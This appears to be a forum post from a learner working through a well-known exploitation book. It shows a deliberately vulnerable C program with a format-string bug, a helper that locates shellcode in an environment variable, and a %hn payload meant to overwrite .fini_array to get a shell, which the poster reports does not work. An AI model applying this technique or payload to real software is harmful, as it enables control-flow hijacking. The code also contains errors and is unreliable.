I am working on the book Hacking: The art of Exploitation And I have a problem in the section with DTORS and CTORS.
I have a vulnerable program exploiting printf function vulnerability, so I can overwrite any hex adress I want. My problem is that I want to overwrite the DTORS array to run a shellcode, but DTORS dosen't exist anymore on newest version of GCC. Instead it is init_array/fini_array, so I run my exploit with the adress of fini_array, but it dosen't work, I don't understand why.
Can someone help me please ? (sorry for my bad english)
Exploit code here : (vuln.c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char text[1024];
static int test_val = -72;
if (argc < 2)
{
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print: \n");
printf("%s\n", text);
printf("The wrong way to print: \n");
printf(text);
printf("[DEBUG] test_val @ %p = %d %08x\n", &test_val, test_val, test_val);
return 0;
}
Compile it : gcc -m32 -fno-stack-protector vuln.c -o vuln
This exploit allow us to overwrite any hex adress of memory using printf format-parameter %n (and %hn).
I use a shellcode as an environment variable, here the code to get the hex adress: (getadrr.c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *ptr;
if (argc < 2)
{
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])*2;
printf("%s is at %p\n", argv[0], ptr);
return 0;
}
Compile it : gcc -m32 getadrr.c -o getadrr ./getadrr SHELLCODE -> give the hex adress of the environment var SHELLCODE (I already created it)
Now, I will use this two programs above to overwrite the DTORS array to run a shellcode.
First, I find the adress of fini_array (DTORS)
Here the sections of my vulnerable program : nm ./vuln
000001cc r __abi_tag
00004024 B __bss_start
00004024 b completed.0
w __cxa_finalize@GLIBC_2.1.3
00004018 D __data_start
00004018 W data_start
000010e0 t deregister_tm_clones
00001170 t __do_global_dtors_aux
00003eec d __do_global_dtors_aux_fini_array_entry
0000401c D __dso_handle
00003ef0 d _DYNAMIC
00004024 D _edata
00004028 B _end
U exit@GLIBC_2.0
000012bc T _fini
00002000 R _fp_hw
000011c0 t frame_dummy
00003ee8 d __frame_dummy_init_array_entry
00002168 r __FRAME_END__
00003ff4 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
0000208c r __GNU_EH_FRAME_HDR
00001000 T _init
00002004 R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
U __libc_start_main@GLIBC_2.34
000011cd T main
U printf@GLIBC_2.0
U putchar@GLIBC_2.0
U puts@GLIBC_2.0
00001120 t register_tm_clones
000010a0 T _start
U strcpy@GLIBC_2.0
00004020 d test_val.0
00004024 D __TMC_END__
000010d0 T __x86.get_pc_thunk.bx
000011c9 T __x86.get_pc_thunk.dx
Output of objdump -s -j .fini_array ./vuln:
./vuln: file format elf32-i386
Contents of .fini_array :
3eec 70110000 p...
I get the hex adress of .fini_array (DTORS) , I can overwrite it with the SHELLCODE adress
./getadrr SHELLCODE Output : 0xffffdfa1 (for me) <- adress of the shellcode
I use gdb to find how many bytes I need to write to get this adress : 0xffffdfa1 and use it in my vuln program.
gdb -q
(gdb) print 0xdfa1 - 8
$1 = 57241
(gdb) print 0xffff - 0xdfa1
$2 = 8286
./vuln "$(printf '\xec\x3e\x00\x00\xee\x3e\x00\x00')%57241x%4\$hn%8286x%5\$hn"
0x000003eec : hex adress of fini_array %57241x%4$hn%8286x%5$hn : it give the hex adress of my shellcode
It should overwrite fini_array by the hex adress of my shellcode and should give me a shell. I forgot, ASLR is off.
If someone can help me. Thanks.